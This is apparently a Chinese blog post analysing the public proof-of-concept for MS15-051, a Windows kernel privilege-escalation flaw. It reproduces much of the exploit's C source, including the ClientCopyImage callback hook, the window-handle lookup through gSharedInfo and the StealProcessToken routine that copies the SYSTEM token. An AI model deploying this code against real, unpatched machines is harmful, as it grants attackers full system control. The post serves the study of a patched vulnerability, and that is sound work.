MS15-051提权代码分析
GhostOneHack
一 、漏洞介绍
此漏洞是一个内核特权提升漏洞,如果攻击者者在本地登录或RCE并可以在内核模式下运行任意代码,最严重的漏洞可能允许特权提升。攻击者者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户ms指的是微软给他的重新命名以便于查找。
二、影响版本
Windows Server 2003
Windows Vista
Windows Server 2008
Windows 7
Windows Server 2008 R2
Windows 8 和 Windows 8.1
Windows Server 2012
Windows Server 2012 R2
Windows RT 和 Windows RT 8.1
以下是效果测试图(win7)
这里可以看到成功获得system权限,在win7系统下执行
三、代码分析
以下就是分析源码的过程这里,在github 上这个poc的源代码是可以直接下载下来的,分析其源码,通过源码逆向学习漏洞产生的原理,以及poc的编写,下面是分析代码的过程,首先因为是一个c/c++文件,从main函数开始分析下面是分析过程。
第一个语句是获得当前TEB结构的一个函数,第二句是从TEB中在0x30偏移处获得PEB的基址,可以理解为PEB的入口函数,从计算机的底层分析问题,因为计算机是通过内存,cpu来计算的所有详细的数据都会加载到内存中,然后通过内存的地址调用值,或者一些其他的东西,这样才可以完成一个计算的过程,个人理解,不对的话可以请指正。
下面我来介绍一下什么TEB 什么是PEB 为什么会在 TEB结构体中在0x30的地方会获得PEB的结构体指针也就是PEB入口函数的地址,一个完整的程序中是由一个进程发起,然后进程中有多个线程,相互作用才可以使一个完整的程序运行。
TEB PEB
TEB是Thread Environment Block的简写,也就是线程运行环境的一个结构体吧,里面存放这PEB结构体的地址,PEB 英文翻译过来就是进程环境信息块,这里包含了一写进程的信息,有种保护技术会检测是否有调试器正在调试保护软件,然后需要获取是否被调试的消息,这个消息存储在PEB结构中,所有exe程序加载的时候必须有通过PEB进行加载,然后获取这个exe运行的所有基础配置,以及一些基础的dll,环境变量什么的。
下面去分析怎么找这个PEB 【0x30】的基址
TEB中找到PEB的基址,然后再内存中去,这个是用IsDebuggerPresent()这个函数来调用的看第一个地址的第三个字节参数为0 说明没有被调试为1表示正在调试
这里的源码中首先通过NTcurrentTeb()这个函数获取到teb的结构体赋值给teb,因为TEB是一个结构体然后再获得Process这个参数值赋值给PEB然后就获得了PEB的一个东西
PEB具体详解
https://blog.csdn.net/CSNN2019/article/details/113113347
下面是TEB的结构题
typedef struct _TEB{NT_TIB NtTib;PVOID EnvironmentPointer;CLIENT_ID ClientId;PVOID ActiveRpcHandle;PVOID ThreadLocalStoragePointer;PPEB ProcessEnvironmentBlock; //PEB环境的指针【0x30】ULONG LastErrorValue; //最后一次错误代码ULONG CountOfOwnedCriticalSections;PVOID CsrClientThread;PVOID Win32ThreadInfo;} TEB, *PTEB;
继续往下分析
RtlSecureZeroMemory()这个函数的意思是,在调用一个结构题的时候有的时候,因为结构题内的结构参数有很多,但是我们只用其中的几个结构参数,为了保证安全性,这个函数就是把用不到的结构参数内存清0
osver这个是一个结构体函数他的作用是用来返回当前系统的一些信息比如版本号,系统名称之类的
以下是当前的结构体内容
typedef struct _OSVERSIONINFOW {DWORD dwOSVersionInfoSize; //初始化为结构的大小DWORD dwMajorVersion; //系统主版本号DWORD dwMinorVersion; //系统次版本号DWORD dwBuildNumber; //系统构建号DWORD dwPlatformId; //系统支持的平台WCHAR szCSDVersion[ 128 ]; // Maintenance string for PSS usage //系统支持的平台/*这个成员可以是下列值之一: 值: 平台:VER_PLATFORM_WIN32s Win32s on Windows 3.1.VER_PLATFORM_WIN32_WINDOWS Win32 on Windows 95.VER_PLATFORM_WIN32_NT Win32 on Windows NT.*/} OSVERSIONINFOW, *POSVERSIONINFOW, *LPOSVERSIONINFOW, RTL_OSVERSIONINFOW, *PRTL_OSVERSIONINFOW
api函数获得系统版本
if语句中判断系统版本如果等于5说明他是win2000的系统类型
| | dwPlatformID | dwMajorVersion | dwMinorVersion | dwBuildNumber || :------ | ------------ | -------------- | -------------- | ---------------- || 95 | 1 | 4 | 0 | 950 || 95 SP1 | 1 | 4 | 0 | > 950 && <= 1080 || 95 OSR2 | 1 | 4 | < 10 | > 1080 || 98 | 1 | 4 | 10 | 1998 || 98 SP1 | 1 | 4 | 10 | >1998 && < 2183 || 98 SE | 1 | 4 | 10 | >= 2183 || Me | 1 | 4 | 90 | 3000 || | | | | || NT 3.51 | 2 | 3 | 51 | 1057 || NT 4 | 2 | 4 | 0 | 1381 || 2000 | 2 | 5 | 0 | 2195 || XP | 2 | 5 | 1 | || | | | | || CE 1.0 | 3 | 1 | 0 | || CE 2.0 | 3 | 2 | 0 | || CE 2.1 | 3 | 2 | 1 | || CE 3.0 | 3 | 3 | 0 | || | | | | || Vista | | 6 | 0 | |
下面的#ifdef#else#endif这个东西可能和建立他的权限有关,后面的数字可能指的是内存中token的地址,这个地方不太了解,希望有大佬带带
这里大概说一下EPROCESS这个是个结构体和权限有关的结构题,TokenOffest 这个是关于token的结构题可能和token有关,为后面的提权做准备?
这俩个就是判断位数和系统版本的这个很简单
获得当前程序的pid值
这里更进这个函数GetPsLookupProcessByProcessId()
ULONG_PTR GetPsLookupProcessByProcessId(VOID){BOOL cond = FALSE;ULONG rl = 0;PVOID MappedKernel = NULL;ULONG_PTR KernelBase = 0L, FuncAddress = 0L;PRTL_PROCESS_MODULES miSpace = NULL;CHAR KernelFullPathName[MAX_PATH * 2];do{miSpace = (PRTL_PROCESS_MODULES)supGetSystemInfo();if (miSpace == NULL){break;}if (miSpace->NumberOfModules == 0){break;}rl = GetSystemDirectoryA(KernelFullPathName, MAX_PATH);if (rl == 0){break;}KernelFullPathName[rl] = (CHAR)'\';strcpy(&KernelFullPathName[rl + 1], (const char *)&miSpace->Modules[0].FullPathName[miSpace->Modules[0].OffsetToFileName]);KernelBase = (ULONG_PTR)miSpace->Modules[0].ImageBase;HeapFree(GetProcessHeap(), 0, miSpace);miSpace = NULL;MappedKernel = LoadLibraryExA(KernelFullPathName, NULL, DONT_RESOLVE_DLL_REFERENCES);if (MappedKernel == NULL){break;}FuncAddress = (ULONG_PTR)GetProcAddress((HMODULE)MappedKernel, "PsLookupProcessByProcessId");FuncAddress = KernelBase + FuncAddress - (ULONG_PTR)MappedKernel;} while (cond);if (MappedKernel != NULL){FreeLibrary((HMODULE)MappedKernel);}if (miSpace != NULL){HeapFree(GetProcessHeap(), 0, miSpace);}return FuncAddress;}
第一句将函数的地址赋值给变量g_PsLookupProcessByProcessIdPtr,分析函数内容中
调用sup这个函数更进函数分析
PVOID supGetSystemInfo(){INT c = 0;PVOID Buffer = NULL;ULONG Size = 0x1000;NTSTATUS status;ULONG memIO;do{Buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size);if (Buffer != NULL){status = NtQuerySystemInformation(11, Buffer, Size, &memIO);}else{return NULL;}if (status == STATUS_INFO_LENGTH_MISMATCH){HeapFree(GetProcessHeap(), 0, Buffer);Size *= 2;}c++;if (c > 100){status = STATUS_SECRET_TOO_LONG;break;}} while (status == STATUS_INFO_LENGTH_MISMATCH);if (NT_SUCCESS(status)){return Buffer;}if (Buffer){HeapFree(GetProcessHeap(), 0, Buffer);}return NULL;}
这里是一个do while循环先执行然后判断,如果结果为真继续do为假则跳出循环
LPVOID HeapAlloc(HANDLE hHeap, //分配堆的句柄 通过GetProcessHeap函数获取DWORD dwFlags, //参数如下/*HEAP_GENERATE_EXCEPTIONS如果分配错误将会抛出异常,而不是返回NULL。异常值可能是STATUS_NO_MEMORY, 表示获得的内存容量不足,或是STATUS_ACCESS_VIOLATION,表示存取不合法。HEAP_NO_SERIALIZE 不使用连续存取。HEAP_ZERO_MEMORY 将分配的内存全部清零。*/SIZE_T dwBytes, //分配的字节数);
typedef NTSTATUS (WINAPI *PFUN_NtQuerySystemInformation)(_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,/*typedef enum _SYSTEM_INFORMATION_CLASS {SystemBasicInformation,// 0 Y NSystemProcessorInformation,// 1 Y NSystemPerformanceInformation,// 2 Y NSystemTimeOfDayInformation,// 3 Y NSystemNotImplemented1,// 4 Y N // SystemPathInformationSystemProcessesAndThreadsInformation,// 5 Y NSystemCallCounts,// 6 Y NSystemConfigurationInformation,// 7 Y NSystemProcessorTimes,// 8 Y NSystemGlobalFlag,// 9 Y YSystemNotImplemented2,// 10 YN // SystemCallTimeInformationSystemModuleInformation,// 11 YNSystemLockInformation,// 12 YNSystemNotImplemented3,// 13 YN // SystemStackTraceInformationSystemNotImplemented4,// 14 YN // SystemPagedPoolInformationSystemNotImplemented5,// 15 YN // SystemNonPagedPoolInformationSystemHandleInformation,// 16 YNSystemObjectInformation,// 17 YNSystemPagefileInformation,// 18 YNSystemInstructionEmulationCounts,// 19 YNSystemInvalidInfoClass1,// 20SystemCacheInformation,// 21 YYSystemPoolTagInformation,// 22 YNSystemProcessorStatistics,// 23 YNSystemDpcInformation,// 24 YYSystemNotImplemented6,// 25 YN // SystemFullMemoryInformationSystemLoadImage,// 26 NY // SystemLoadGdiDriverInformationSystemUnloadImage,// 27 NYSystemTimeAdjustment,// 28 YYSystemNotImplemented7,// 29 YN // SystemSummaryMemoryInformationSystemNotImplemented8,// 30 YN // SystemNextEventIdInformationSystemNotImplemented9,// 31 YN // SystemEventIdsInformationSystemCrashDumpInformation,// 32 YNSystemExceptionInformation,// 33 YNSystemCrashDumpStateInformation,// 34 YY/NSystemKernelDebuggerInformation,// 35 YNSystemContextSwitchInformation,// 36 YNSystemRegistryQuotaInformation,// 37 YYSystemLoadAndCallImage,// 38 NY // SystemExtendServiceTableInformationSystemPrioritySeparation,// 39 NYSystemNotImplemented10,// 40 YN // SystemPlugPlayBusInformationSystemNotImplemented11,// 41 YN // SystemDockInformationSystemInvalidInfoClass2,// 42 // SystemPowerInformationSystemInvalidInfoClass3,// 43 // SystemProcessorSpeedInformationSystemTimeZoneInformation,// 44 YNSystemLookasideInformation,// 45 YNSystemSetTimeSlipEvent,// 46 NYSystemCreateSession,// 47 NYSystemDeleteSession,// 48 NYSystemInvalidInfoClass4,// 49SystemRangeStartInformation,// 50 YNSystemVerifierInformation,// 51 YYSystemAddVerifier,// 52 NYSystemSessionProcessesInformation// 53 YN} SYSTEM_INFORMATION_CLASS;*/_Inout_ PVOID SystemInformation,_In_ ULONG SystemInformationLength,_Out_opt_ PULONG Return Length);
调用11号功能进行遍历线程,各种内存中的情况继续更进
STATUS_INFO_LENGTH_MISMATCH //若用户提供的缓冲区大小不够,则返回STATUS_INFO_LENGTH_MISMATCH,并返回实际需要的缓冲区大小并释放堆地址 将之前的size*2
总结一下这个supGetSystemInfo()这个函数的意思就是首先获得一个堆空间,然后用11号的方式去遍历线程遍历,分配空间完以后进行下面的判断如果满足条件就返回buffer,然后就buffer空间给释放掉,这些空间是为了遍历内存中加载的模块(这个模块ntoskrnl.exe)
ntoskenl 是 Windows 的内核进程,负责 Windows 核心部分的操作,也就是负责操作系统核心的五大任务:处理机管理、存储管理、设备管理、文件管理、接口,详细程序会在后续的逆向分析过程中写
通过进程中分析这个模块可以知道这个东西是最先加载的在ring0的位置ring3是无法访问的,就无法得到PsLookuoProcessByProcessID在ntoskrnl.exe中的RAV和在内存中的地址,就无法进行调用。我们可以在用户态加载ntoskrnl.exe,这样就可以访问ntoskrnl.exe内部函数了。这个动态加载会经常用到
ring3加载ntoskrnl.exe,将这个地址放到Mappedkernel中,将这个模块加载到ring3的内存中的空间地址,GetProcAddress函数在MappedKernel指向的模块句柄中通过关键词PsLookupProcessByProcessId搜索此函数,并返回该函数在用户态内存中的地址。通过调试可看出
FuncAddress=0x00000001403440e4;MappedKernel=0x0000000140000000。则MappedKernel-FuncAddress=0x3440e4就是PsLookupProcessByProcessId函数在ntoskrnl.exe中的RAV。再加上KernelBase就是该函数在内核态地址空间的位置。
既内核态FuncAddress = KernelBase +(用户)FuncAddress – (ULONG_PTR)MappedKernel;
GetPsLookupProcessByProcessId()函数最终返回这个FuncAddress值。并回到主函数中。
这个是处理异常状况的应该能看的懂,不过多解释
NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, //进程idPEPROCESS *Process);//PsLookupProcessByProcessId 例程接受一个进程的进程 ID,并返回一个指向该进程的 EPROCESS 结构的引用指针。
这个是操作内核的函数,可能有点复杂,大概就把他想成和权限或者进程之类有关的东西,返回的是之前呢个模块的里某个函数的值.
这些代码的作用是创建一个窗口类,其中IPfnWnProc是这个窗口的过程处理函数MainWindowProc,然后通过registerclassex来进行回调处理,可以理解为直接去加载这个结构题,这个结构题就是一个窗口。
LRESULT CALLBACK MainWindowProc(_In_ HWND hwnd, _In_ UINT uMsg, _In_ WPARAM wParam, _In_ LPARAM lParam){UNREFERENCED_PARAMETER(hwnd);UNREFERENCED_PARAMETER(uMsg);UNREFERENCED_PARAMETER(wParam);UNREFERENCED_PARAMETER(lParam);if (g_shellCalled == 0){StealProcessToken();g_shellCalled = 1;}return 0;}
这里是一个关键点
首先通过teb结构中获取win线程的信息,然后在通过peb获取KernelCallbackTable,下面是判断一个执行权限的东西
g_originalCCI = (pUser32_ClientCopyImage)InterlockedExchangePointer((PVOID *)g_ppCCI, &hookCCI);
PEB->KernelCallbackTable是PEB的回调函数表,在这里的索引是0x36,即指向了User32.dll中的ClientCopyImage函数。
g_originalCCI=InterlockedExchangePointer(g_ppCCI,hookCCI);这行代码是关键,
Hook了ClientCopyImage函数,替换为hookCCI函数。
g_ppCCI原来的值(就是原本的ClientCopyImage函数)返回给了g_originalCCI,g_ppCCI的新值是攻击的函数地址。
这里对这个几个函数进行更进分析
NTSTATUS NTAPI hookCCI(PVOID p){InterlockedExchangePointer((PVOID *)g_ppCCI, (PVOID *)g_originalCCI);HWND h = GetFirstThreadHWND();if (h){SetWindowLongPtr(h, GWLP_WNDPROC, (LONG_PTR)&DefWindowProc);}return g_originalCCI(p);}
InterlockedExchangePointer()交互指针地址
这就是为什么可以交换地址的原因,针对GetFisrtThreadHWND()函数的分析
HWND GetFirstThreadHWND(VOID){PSHAREDINFO pse;HMODULE huser32;PHANDLEENTRY List;ULONG_PTR c, k;ULONG i;ULONG_PTR pfnUserRegisterWowHandlers = (ULONG_PTR)GetProcAddress(GetModuleHandleA("USER32.dll"), "UserRegisterWowHandlers");huser32 = GetModuleHandle(TEXT("user32.dll"));if (huser32 == NULL){return 0;}pse = (PSHAREDINFO)GetProcAddress(huser32, "gSharedInfo");if (pse == NULL){if (pfnUserRegisterWowHandlers){for (i = pfnUserRegisterWowHandlers; i <= pfnUserRegisterWowHandlers + 0x2a0; ++i){if (*(DWORD *)i == 0x247c8b48){pse = (PSHAREDINFO)((*(DWORD *)(i - 4)) + i);break;}if (0x40c7 == *(WORD *)i && 0xb8 == *(BYTE *)(i + 7)){pse = (PSHAREDINFO)(*(DWORD *)(i + 8));break;}}}if (!pse){return 0;}}List = pse->aheList;k = pse->psi->cHandleEntries;if (!isWin2k3){if (pse->HeEntrySize != sizeof(HANDLEENTRY)){return 0;}}for (c = 0; c < k; c++)if ((List[c].pOwner == g_w32theadinfo) && (List[c].bType == 1)){return (HWND)(c | (((ULONG_PTR)List[c].wUniq) << 16));}return 0;}
这个函数返回线程的句柄
这里使用class_atcm创建了windows对象,在通过createwindows来返回,在使用这个函数的时候会有一个这样的逻辑过程
if( pcls->spicn &&!pcls->spicnSm ) {CreateClassSmIcon(pcls);}pwnd->hModule = hMoudle;pwnd->lpfnWndProc =MapClientNeuterToClientPfn(pcls, 0, bansi);
这里CreateClassSmIcon的目的是为该窗口类的图标创建小图标缓存,接下来,系统会通过MapClientNeuterToClientPfn根据窗口类为窗口设置WindowProc。这个CreateClassSmIcon函数是通过KeUserModeCallback来实现的,这个调用最终是配合用户模式回调来实现的。KeUserModeCallback实际最后会调用放置在PEB->KernelCallbackTable中的对应函数来实现功能的,而这些函数都是最终实现在用户模式的,例如这里就将最终调用user32.dll中的ClientCopyImage函数来实现。而这个函数在之前就被Hook了,实际执行函数是hookCCI所指向的函数也就是(原始函数的地址)
hookCCI函数先把正常的ClientCopyImage地址重新存入g_ppCCI中,然后调用SetWindowLongPtr函数,然后再调用g_originalCCI也就是ClientCopyImage函数,完成功能,这样就在正常执行ClientCopyImage函数之前先执行了SetWindowLongPtr函数。
SetWindowLongPtr是设置窗口相关数据、属性的函数,这里GWLP_WNDPROC这个功能索引(index)的作用是对窗口进行子类化(subclass)/去子类化(unsubclass),可以通过子类化,替换窗口的调用过程为自己的函数,来接管窗口的一些处理,也可以通过设置为DefWindowProc来去子类化,取消接管过程。
这里面GetFirestThreadHWND是一个获得当前正在被创建的窗口句柄的一个技巧,因为现在CreateWindowEx正在被中断在内核过程中,仅仅通过用户模式的代码和CreateClassSmIcon的信息,是无法得知当前正在被创建的窗口对象/句柄的。
但是在Win32k内核中,所有的内核窗口信息是全部被映射到用户模式的一块内存地址上的,通过user32!gSharedInfo可以得到它的地址(是内核模式窗口信息列表的一个只读映射),而刚才说过内核窗口对象在中断时已经经由HMAllocateObject被创建了,那么它实际就已经可以在gSharedInfo中检索到。
这里代码使用SetWindowLongPtr将当前线程正在创建的窗口的WindowProc替换为了DefWindowProc。SetWindowLongPtr,当index(GWLP_WNDPROC(-4) ) <0,会调用SetWindowData来完成最终的设置。SetWindowData在判断到index是GWLP_WNDPROC时,会执行如下逻辑:
ptr = MapClientToServerPfn(dwData);if( ptr ) {ClrWF(pwn,WFANSIPROC);SetWF(pwn, WFSERVERSIDEPROC); //意味着将在内核模式下调用窗口过程函数pwn->lpfnWndProc=ptr;}
这里的逻辑,是检查此处GWLP_WNDPROC是不是一个去子类化操作(unsubclass),如果是的话,就认为这里需要设置为内核来接管窗口过程,给窗口设置Server Side Proc的标志,这个标志的含义是窗口的窗口过程函数将在内核模式下调用。同时将窗口过程函数修改为DefWindowProc对应的内核处理函数。
从CreateClassSmIcon返回,继续调用MapClientNeuterToClientPfn转化当前窗口类函数的默认WindowProc(也就是用户模式可控的函数),再将窗口对象的WindowProc设置为用户自己的窗口对象
因为这个中断过程恰好在CreateWindowProc为窗口设置WindowProc前面,所以SetWindowData修改窗口的WindowProc为DefWindowProc是无效的,窗口的WindowProc还是被修改为用户模式应用程序设置的WindowProc,窗口过程处理函数也变成了MainWindowProc。而此时,这个窗口的标志已经被设置为是需要在内核模式执行WindowProc,那么接下来再遇到SendMessage等函数对这个窗口发送消息时,就会在内核模式下直接跳转、调用实际在用户模式的函数来进行处理,从而直接导致内核模式代码执行。MainWindowProc函数如下图所示
LRESULT CALLBACK MainWindowProc(_In_ HWND hwnd, _In_ UINT uMsg, _In_ WPARAM wParam, _In_ LPARAM lParam){UNREFERENCED_PARAMETER(hwnd);UNREFERENCED_PARAMETER(uMsg);UNREFERENCED_PARAMETER(wParam);UNREFERENCED_PARAMETER(lParam);if (g_shellCalled == 0){StealProcessToken();g_shellCalled = 1;}return 0;}
staelProcessToken获取system权限
NTSTATUS NTAPI StealProcessToken(){NTSTATUS Status;PVOID CurrentProcess = NULL;PVOID SystemProcess = NULL;Status = g_PsLookupProcessByProcessIdPtr((HANDLE)g_OurPID, &CurrentProcess);if (NT_SUCCESS(Status)){Status = g_PsLookupProcessByProcessIdPtr((HANDLE)4, &SystemProcess);if (NT_SUCCESS(Status)){if (g_EPROCESS_TokenOffset){*(PVOID *)((PBYTE)CurrentProcess + g_EPROCESS_TokenOffset) = *(PVOID *)((PBYTE)SystemProcess + g_EPROCESS_TokenOffset);}}}return Status;}
creatpipe()创建通信管道,共用同一个通信管道
DWORD WINAPI ThreadProc(LPVOID lpParam){BYTE b[1030];DWORD d = 0;while (ReadFile((HANDLE)lpParam, b, 1024, &d, 0)){b[d] = ' ';printf("%s", b);fflush(stdout);}return 0;}
这里大概写一个漏洞思路
1.通过系统执行指令的时候创建一个窗口,在创建窗口处会有一系列执行的逻辑结构,
2.在这些逻辑结构中,这些窗口是运行在ring0上的,ring3无法正常访问这些,但是其中有个地方有一个指针,这个指针可以直接指向用户输入区,
3.这里可以直接通过偷取token来提权,当用户输入命令的时候,这个命令会直接由指针指向ring0,在内核态上运行,也就是漏洞命令直接在ring0上执行,这就是造成了为什么可以提权的原因.
参考文献
https://www.cnblogs.com/liuconggang/archive/2013/01/08/2850807.html
https://www.52pojie.cn/thread-554966-1-1.html
https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation#1-replacing-tokens-for-privilege-escalation
https://blog.csdn.net/cosmoslife/article/details/52641852
https://www.zhihu.com/question/387195775
https://www.cnblogs.com/DreamoneOnly/p/13133884.html
点击蓝字 关注我们
本文由拔丝英语网 – buzzrecipe.com(精选英语文章+课程)收藏,供学习使用,分享转发是更大的支持!由 GhostoneHack原创,版权归原作者所有。